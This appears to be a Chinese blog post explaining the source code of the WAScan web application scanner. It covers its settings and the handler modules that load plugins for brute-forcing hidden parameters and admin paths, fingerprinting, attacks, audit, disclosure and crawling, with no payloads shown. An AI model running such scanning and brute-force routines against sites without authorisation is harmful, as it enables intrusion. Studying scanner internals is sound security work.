<h2 id="文件读取操作：lib-utils-readfile-py"><a href="#文件读取操作：lib-utils-readfile-py" class="headerlink" title="文件读取操作：lib/utils/readfile.py"></a>文件读取操作：lib/utils/readfile.py</h2><p>该文件定义了<code>readfile</code>函数，用于基本的文件读取操作。首先判断路径是否为空，<code>!=None</code>或者<code>!=&quot;&quot;</code>。利用列表生成器，<code>line.strip()</code>在读取每一行后去除两边的空白符。：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">readfile</span><span class="params">(path)</span>:</span></div><div class="line">	<span class="string">""" read file """</span></div><div class="line">	<span class="keyword">if</span> path != <span class="keyword">None</span> <span class="keyword">or</span> path != <span class="string">""</span>:</div><div class="line">		<span class="keyword">return</span> [line.strip() <span class="keyword">for</span> line <span class="keyword">in</span> open(path,<span class="string">'rb'</span>)]</div><div class="line">	<span class="keyword">return</span></div></pre></td></tr></table></figure></p>
<h2 id="基本设置：lib-utils-settings-py"><a href="#基本设置：lib-utils-settings-py" class="headerlink" title="基本设置：lib/utils/settings.py"></a>基本设置：lib/utils/settings.py</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># tool name  工具名称，即命令行运行时的第一个参数</span></div><div class="line">NAME = argv[<span class="number">0</span>]</div><div class="line"></div><div class="line"><span class="comment"># tool version 版本 </span></div><div class="line">VERSION = <span class="string">"v0.2.1"</span></div><div class="line"></div><div class="line"><span class="comment"># author 作者 </span></div><div class="line">AUTHOR = <span class="string">"Momo Outaadi (M4ll0k)"</span></div><div class="line"></div><div class="line"><span class="comment"># description 描述</span></div><div class="line">DESCRIPTION = <span class="string">"Web Application Scanner"</span></div><div class="line"></div><div class="line"><span class="comment"># name + description + version </span></div><div class="line">NVD = (NAME.split(<span class="string">'.'</span>)[<span class="number">0</span>]).title()+<span class="string">": "</span>+DESCRIPTION+<span class="string">" - "</span>+VERSION</div><div class="line"></div><div class="line"><span class="comment"># max threads 最大线程数量</span></div><div class="line">MAX = <span class="number">5</span></div><div class="line"></div><div class="line"><span class="comment"># args 命令行参数</span></div><div class="line">CHAR = <span class="string">"u:s:H:d:m:h:R:a:A:c:p:P:t:n:v=:V=:r=:b=:"</span></div><div class="line"></div><div class="line"><span class="comment"># 与上面命令行参数对应的 完整参数名称</span></div><div class="line"></div><div class="line"></div><div class="line">LIST_NAME = [</div><div class="line">   省略</div><div class="line">]</div><div class="line"></div><div class="line"><span class="comment"># argv</span></div><div class="line">ARGV = argv</div><div class="line"><span class="comment"># dict args</span></div><div class="line">ARGS = &#123;</div><div class="line">    <span class="string">'auth'</span>: <span class="keyword">None</span>,</div><div class="line">    <span class="string">'brute'</span>: <span class="keyword">None</span>,</div><div class="line">    <span class="string">'agent'</span>: ragent(),</div><div class="line">    <span class="string">'proxy'</span>: <span class="keyword">None</span>,</div><div class="line">    <span class="string">'pauth'</span>: <span class="keyword">None</span>,</div><div class="line">    <span class="string">'cookie'</span>: <span class="keyword">None</span>,</div><div class="line">    <span class="string">'timeout'</span>: <span class="number">5</span>,</div><div class="line">    <span class="string">'redirect'</span>: <span class="keyword">True</span>,</div><div class="line">    <span class="string">'headers'</span>: &#123;&#125;,</div><div class="line">    <span class="string">'data'</span>: <span class="keyword">None</span>,</div><div class="line">    <span class="string">'method'</span>: <span class="string">'GET'</span></div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="comment"># time</span></div><div class="line">TIME = strftime(<span class="string">'%d/%m/%Y at %H:%M:%S'</span>)</div><div class="line">TNOW = strftime(<span class="string">'%H:%M:%S'</span>)</div><div class="line"></div><div class="line"></div><div class="line"><span class="comment"># print version</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Version</span><span class="params">()</span>:</span></div><div class="line">    <span class="keyword">print</span> <span class="string">"\n&#123;&#125;"</span>.format(NVD)</div><div class="line">    <span class="keyword">print</span> <span class="string">"Author: &#123;&#125;\n"</span>.format(AUTHOR)</div><div class="line">    exit()</div><div class="line"></div><div class="line"></div><div class="line"><span class="comment"># print time and url</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">PTIME</span><span class="params">(url)</span>:</span></div><div class="line">    plus(<span class="string">"URL: &#123;&#125;"</span>.format(url))</div><div class="line">    plus(<span class="string">"Starting: &#123;&#125;"</span>.format(TIME))</div><div class="line">    null()</div></pre></td></tr></table></figure>
<h2 id="编码：-lib-utils-unicode-py"><a href="#编码：-lib-utils-unicode-py" class="headerlink" title="编码： lib/utils/unicode.py"></a>编码： lib/utils/unicode.py</h2><p>统一转换成<code>utf-8</code>来处理<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ucode</span><span class="params">(string)</span>:</span></div><div class="line">	<span class="keyword">if</span> isinstance(string,unicode):</div><div class="line">		<span class="keyword">return</span> string.encode(<span class="string">'utf-8'</span>)</div><div class="line">	<span class="keyword">return</span> string</div></pre></td></tr></table></figure></p>
<h2 id="帮助信息：lib-utils-usage-py"><a href="#帮助信息：lib-utils-usage-py" class="headerlink" title="帮助信息：lib/utils/usage.py"></a>帮助信息：lib/utils/usage.py</h2><p>用来输出一些帮助信息，全程一行行<code>print</code>，简单粗暴。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">usage</span>:</span></div><div class="line">	<span class="string">""" docstring for usage """</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">banner</span><span class="params">(self)</span>:</span></div><div class="line">		省略</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">basic</span><span class="params">(self,_exit_=True)</span>:</span></div><div class="line">		省略</div></pre></td></tr></table></figure></p>
<h1 id="lib-handler-文件夹"><a href="#lib-handler-文件夹" class="headerlink" title="lib/handler 文件夹"></a>lib/handler 文件夹</h1><p>这里定义了几种扫描处理模式。回到主文件<code>wascan.py</code>中，它真正开始扫描是后半部分代码，根据<code>kwargs[&#39;brute&#39;]</code>或<code>scan</code>的值去选择不同的模式，比如若指定了<code>brute</code>，则会调用<code>BruteParams</code>模式，其余类似。这些模式都整合在<code>handler</code>目录下。</p>
<h2 id="暴破：lib-handler-brute-py"><a href="#暴破：lib-handler-brute-py" class="headerlink" title="暴破：lib/handler/brute.py"></a>暴破：lib/handler/brute.py</h2><p>第一种暴破指去爆破页面中的<code>隐藏参数</code>。<br><code>brute.py</code>对应代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">BruteParams</span><span class="params">(kwargs,url,data)</span>:</span></div><div class="line">	params(kwargs,url,data).run()</div><div class="line">	exit(<span class="number">0</span>)</div></pre></td></tr></table></figure></p>
<p>其中<code>params</code>类后文再详解。</p>
<p>主文件<code>wascan.py</code>的调用入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> kwargs[<span class="string">'brute'</span>]:</div><div class="line">	BruteParams(kwargs,url,kwargs[<span class="string">'data'</span>]).run()</div></pre></td></tr></table></figure></p>
<p>第二种爆破指后台爆破、路径爆破。<br><code>brute.py</code>对应代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">path = os.path.join(os.path.abspath(<span class="string">'.'</span>).split(<span class="string">'lib'</span>)[<span class="number">0</span>],<span class="string">'plugins/brute/'</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Brute</span><span class="params">(kwargs,url,data)</span>:</span></div><div class="line">	<span class="comment"># 获取 根路径</span></div><div class="line">    url = CNQuery(url)</div><div class="line">    info(<span class="string">'Starting bruteforce module...'</span>)</div><div class="line">	<span class="comment"># dirs函数，获取指定path目录下的以py结尾的非 __ini__.py 的py文件</span></div><div class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">        file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">        __import__(<span class="string">'plugins.brute.%s'</span>%(file))</div><div class="line">		<span class="comment"># 作为模块导入，开始爆破</span></div><div class="line">        module = sys.modules[<span class="string">'plugins.brute.%s'</span>%(file)]</div><div class="line">        module = module.__dict__[file]</div><div class="line">        module(kwargs,url,data).run()</div></pre></td></tr></table></figure></p>
<p>主文件<code>wascan.py</code>中两处入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> scan == <span class="number">3</span>:</div><div class="line">	Brute(kwargs,url,kwargs[<span class="string">'data'</span>])</div><div class="line">省略</div><div class="line"><span class="keyword">if</span> int(scan) == <span class="number">5</span>:</div><div class="line">	省略</div><div class="line">	Brute(kwargs,parse.netloc,kwargs[<span class="string">'data'</span>])</div></pre></td></tr></table></figure></p>
<h2 id="指纹：lib-handler-fingerprint-py"><a href="#指纹：lib-handler-fingerprint-py" class="headerlink" title="指纹：lib/handler/fingerprint.py"></a>指纹：lib/handler/fingerprint.py</h2><p>指纹识别模式。<code>fingerprint.py</code>代码中<code>Fingerprint</code>类如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Fingerprint</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">"""Fingerprint"""</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url)</span>:</span></div><div class="line">		<span class="comment"># 相关参数 初始化</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.kwarg = kwargs</div><div class="line">		self.url = url</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		info(<span class="string">'Starting fingerprint target...'</span>)</div><div class="line">		<span class="keyword">try</span>:</div><div class="line">			<span class="comment"># -- request --</span></div><div class="line">			<span class="comment"># 首先发送HTTP GET请求</span></div><div class="line">			req = self.Send(url=self.url,method=<span class="string">"GET"</span>)</div><div class="line">			<span class="comment"># -- detect server --</span></div><div class="line">			<span class="comment"># 探测 服务器指纹</span></div><div class="line">			<span class="comment"># 一个站点往往对应一种服务器如apache</span></div><div class="line">			<span class="comment"># 根据头部返回的信息 server: xxx 来确定</span></div><div class="line">			__server__ = server(self.kwarg,self.url).run()</div><div class="line">			<span class="keyword">if</span> __server__:</div><div class="line">				<span class="comment"># 若探测到，plus打印模式</span></div><div class="line">				plus(<span class="string">'Server: %s'</span>%(__server__))</div><div class="line">			<span class="comment"># -- detect cms</span></div><div class="line">			<span class="comment"># 探测 cms框架指纹</span></div><div class="line">			__cms__ = Cms(req.headers,req.content)</div><div class="line">			<span class="comment"># 同一个站点，可能同时使用多种cms。因此会返回多种结果</span></div><div class="line">			<span class="keyword">for</span> cms <span class="keyword">in</span> __cms__:</div><div class="line">				<span class="keyword">if</span> cms != (<span class="keyword">None</span> <span class="keyword">and</span> <span class="string">""</span>):</div><div class="line">					plus(<span class="string">'CMS: %s'</span>%(cms))</div><div class="line">			<span class="comment"># -- detect framework</span></div><div class="line">			<span class="comment"># 探测 web框架</span></div><div class="line">			__framework__ = Framework(req.headers,req.content)</div><div class="line">			<span class="keyword">for</span> framework <span class="keyword">in</span> __framework__:</div><div class="line">				<span class="keyword">if</span> framework != (<span class="keyword">None</span> <span class="keyword">and</span> <span class="string">""</span>):</div><div class="line">					plus(<span class="string">'Framework: %s'</span>%(framework))</div><div class="line">			<span class="comment"># -- detect lang</span></div><div class="line">			<span class="comment"># 探测 编程语言</span></div><div class="line">			__lang__ = Language(req.content)</div><div class="line">			<span class="keyword">for</span> lang <span class="keyword">in</span> __lang__:</div><div class="line">				<span class="keyword">if</span> lang != (<span class="keyword">None</span> <span class="keyword">and</span> <span class="string">""</span>):</div><div class="line">					plus(<span class="string">'Language: %s'</span>%(lang))</div><div class="line">			<span class="comment"># -- detect os</span></div><div class="line">			<span class="comment"># 探测 操作系统版本</span></div><div class="line">			__os__ = Os(req.headers)</div><div class="line">			<span class="keyword">for</span> os <span class="keyword">in</span> __os__:</div><div class="line">				<span class="keyword">if</span> os != (<span class="keyword">None</span> <span class="keyword">and</span> <span class="string">""</span>):</div><div class="line">					plus(<span class="string">'Operating System: %s'</span>%os)</div><div class="line">			<span class="comment"># -- detect waf</span></div><div class="line">			<span class="comment"># 探测 waf种类</span></div><div class="line">			__waf__ = Waf(req.headers,req.content)</div><div class="line">			<span class="keyword">for</span> waf <span class="keyword">in</span> __waf__:</div><div class="line">				<span class="keyword">if</span> waf != (<span class="keyword">None</span> <span class="keyword">and</span> <span class="string">""</span>):</div><div class="line">					plus(<span class="string">'Web Application Firewall (WAF): %s'</span>%waf)</div><div class="line">			Headers(req.headers,req.content)</div><div class="line">		<span class="keyword">except</span> Exception <span class="keyword">as</span> e:</div><div class="line">			<span class="keyword">pass</span></div></pre></td></tr></table></figure></p>
<p>在探测<code>server</code>时，由于<code>WAScan</code>直接采用了返回头部中的<code>server</code>字段，没有爆破处理。所以<code>server</code>函数实际存放在<code>plugins/fingerprint/server/server.py</code>。而其他类型的指纹，比如<code>cms</code>、<code>framework</code>、<code>Language</code>、<code>Os</code>、<code>Waf</code>等，难以直接确定，需要多种脚本去尝试，所以这几种类型的指纹探测，都是在<code>fingerprint.py</code>中定义了一个入口函数，用来导入<code>`plugins/fingerprint/</code>目录下的相关探测模块。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line">g_path = os.path.join(os.path.abspath(<span class="string">'.'</span>).split(<span class="string">'lib'</span>)[<span class="number">0</span>],<span class="string">'plugins/fingerprint/'</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Cms</span><span class="params">(headers,content)</span>:</span></div><div class="line">	cms = []</div><div class="line">	path = g_path+<span class="string">'cms/'</span></div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.fingerprint.cms.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.fingerprint.cms.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		cms.append(module(headers,content))</div><div class="line">	<span class="keyword">return</span> cms</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Framework</span><span class="params">(headers,content)</span>:</span></div><div class="line">	framework = []</div><div class="line">	path = g_path+<span class="string">'framework/'</span></div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.fingerprint.framework.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.fingerprint.framework.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		framework.append(module(headers,content))</div><div class="line">	<span class="keyword">return</span> framework</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Language</span><span class="params">(content)</span>:</span></div><div class="line">	language = []</div><div class="line">	path =  g_path+<span class="string">'language/'</span></div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.fingerprint.language.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.fingerprint.language.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		language.append(module(content))</div><div class="line">	<span class="keyword">return</span> language</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Os</span><span class="params">(headers)</span>:</span></div><div class="line">	operating_system = []</div><div class="line">	path = g_path+<span class="string">'os/'</span></div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.fingerprint.os.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.fingerprint.os.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		operating_system.append(module(headers))</div><div class="line">	<span class="keyword">return</span> operating_system</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Waf</span><span class="params">(headers,content)</span>:</span></div><div class="line">	web_app_firewall = []</div><div class="line">	path = g_path+<span class="string">'waf/'</span></div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.fingerprint.waf.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.fingerprint.waf.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		web_app_firewall.append(module(headers,content))</div><div class="line">	<span class="keyword">return</span> web_app_firewall</div></pre></td></tr></table></figure>
<p>在完成所有类型的探测后，<code>wascan</code>在结尾调用了<code>Headers(req.headers,req.content)</code>，这个根据响应来确定一些信息，具体作用等讲解<code>plugins/fingerprint</code>时再详说。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Headers</span><span class="params">(headers,content)</span>:</span></div><div class="line">	<span class="keyword">if</span> <span class="string">'set-cookie'</span> <span class="keyword">in</span> headers.keys() <span class="keyword">or</span> <span class="string">'cookie'</span> <span class="keyword">in</span> headers.keys():</div><div class="line">		cookies().__run__(headers[<span class="string">'set-cookie'</span>] <span class="keyword">or</span> headers[<span class="string">'cookie'</span>])</div><div class="line">	header().__run__(headers)</div></pre></td></tr></table></figure></p>
<p>在主文件<code>wascan.py</code>中有两处入口，如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> scan == <span class="number">0</span>:</div><div class="line">	Fingerprint(kwargs,url).run()</div><div class="line"><span class="keyword">if</span> int(scan) == <span class="number">5</span>:</div><div class="line">	省略</div><div class="line">	Fingerprint(kwargs,url).run()</div></pre></td></tr></table></figure></p>
<h2 id="攻击：lib-handler-attacks-py"><a href="#攻击：lib-handler-attacks-py" class="headerlink" title="攻击：lib/handler/attacks.py"></a>攻击：lib/handler/attacks.py</h2><p>导入各种攻击的模块，然后调用运行<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">path = os.path.join(os.path.abspath(<span class="string">'.'</span>).split(<span class="string">'lib'</span>)[<span class="number">0</span>],<span class="string">'plugins/attacks/'</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Attacks</span><span class="params">(kwargs,url,data)</span>:</span></div><div class="line">	info(<span class="string">'Starting attacks module...'</span>)</div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.attacks.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.attacks.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		module(kwargs,url,data).run()</div></pre></td></tr></table></figure></p>
<p>主文件<code>wascan.py</code>中的入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> scan == <span class="number">1</span>:</div><div class="line">	Attacks(kwargs,url,kwargs[<span class="string">'data'</span>])</div></pre></td></tr></table></figure></p>
<h2 id="审计：lib-handler-audit-py"><a href="#审计：lib-handler-audit-py" class="headerlink" title="审计：lib/handler/audit.py"></a>审计：lib/handler/audit.py</h2><p>载入各种审计的模块，然后调用运行。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">path = os.path.join(os.path.abspath(<span class="string">'.'</span>).split(<span class="string">'lib'</span>)[<span class="number">0</span>],<span class="string">'plugins/audit/'</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">Audit</span><span class="params">(kwargs,url,data)</span>:</span></div><div class="line">	url = CNQuery(url)</div><div class="line">	info(<span class="string">'Starting audit module...'</span>)</div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">		file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">		__import__(<span class="string">'plugins.audit.%s'</span>%(file))</div><div class="line">		module = sys.modules[<span class="string">'plugins.audit.%s'</span>%(file)]</div><div class="line">		module = module.__dict__[file]</div><div class="line">		module(kwargs,url,data).run()</div></pre></td></tr></table></figure></p>
<p>主文件<code>wascan.py</code>中的入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> scan == <span class="number">2</span>:</div><div class="line">	Audit(kwargs,url,kwargs[<span class="string">'data'</span>])</div></pre></td></tr></table></figure></p>
<h2 id="信息搜集：lib-handler-disclosure-py"><a href="#信息搜集：lib-handler-disclosure-py" class="headerlink" title="信息搜集：lib/handler/disclosure.py"></a>信息搜集：lib/handler/disclosure.py</h2><p>载入各种信息搜集的模块，然后调用运行。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line">path = os.path.join(os.path.abspath(<span class="string">'.'</span>).split(<span class="string">'lib'</span>)[<span class="number">0</span>],<span class="string">'plugins/disclosure/'</span>)</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Disclosure</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		info(<span class="string">'Starting disclosure module...'</span>)</div><div class="line">		req = self.Send(url=self.url,method=<span class="string">'GET'</span>)</div><div class="line">		<span class="keyword">for</span> file <span class="keyword">in</span> dirs(path):</div><div class="line">			file = file.split(<span class="string">'.py'</span>)[<span class="number">0</span>]</div><div class="line">			__import__(<span class="string">'plugins.disclosure.%s'</span>%(file))</div><div class="line">			module = sys.modules[<span class="string">'plugins.disclosure.%s'</span>%(file)]</div><div class="line">			module = module.__dict__[file]</div><div class="line">			<span class="keyword">if</span> file == <span class="string">'errors'</span>:module(req.content,req.url)</div><div class="line">			<span class="keyword">else</span>:module(req.content)</div></pre></td></tr></table></figure></p>
<p>主文件<code>wascan.py</code>中的入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> scan == <span class="number">4</span>:</div><div class="line">	Disclosure(kwargs,url,kwargs[<span class="string">'data'</span>]).run()</div></pre></td></tr></table></figure></p>
<h2 id="爬虫：lib-handler-crawler-py"><a href="#爬虫：lib-handler-crawler-py" class="headerlink" title="爬虫：lib/handler/crawler.py"></a>爬虫：lib/handler/crawler.py</h2><p>爬虫调用，在给定一个url后，在fullscan模式下会去爬去页面中所有的链接，然后进行检查。对应代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Crawler</span>:</span></div><div class="line">    <span class="string">""" cralwer """</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self, kwargs, url, data)</span>:</span></div><div class="line">        info(<span class="string">"Starting crawler..."</span>)</div><div class="line">        links = []</div><div class="line">        links.append(url)</div><div class="line">        <span class="keyword">for</span> link <span class="keyword">in</span> links:</div><div class="line">            <span class="keyword">for</span> k <span class="keyword">in</span> SCrawler(kwargs, url, data).run():</div><div class="line">                <span class="keyword">if</span> k <span class="keyword">not</span> <span class="keyword">in</span> links:</div><div class="line">                    links.append(k)</div><div class="line">        <span class="keyword">return</span> links</div></pre></td></tr></table></figure></p>
<p><code>links</code>保存所有的url，一开始就一个。然后通过调用<code>爬虫：lib/request/crawler.py</code>中的<code>SCrawler</code>爬虫，不断地往<code>links</code>中添加，然后不断爬取。</p>
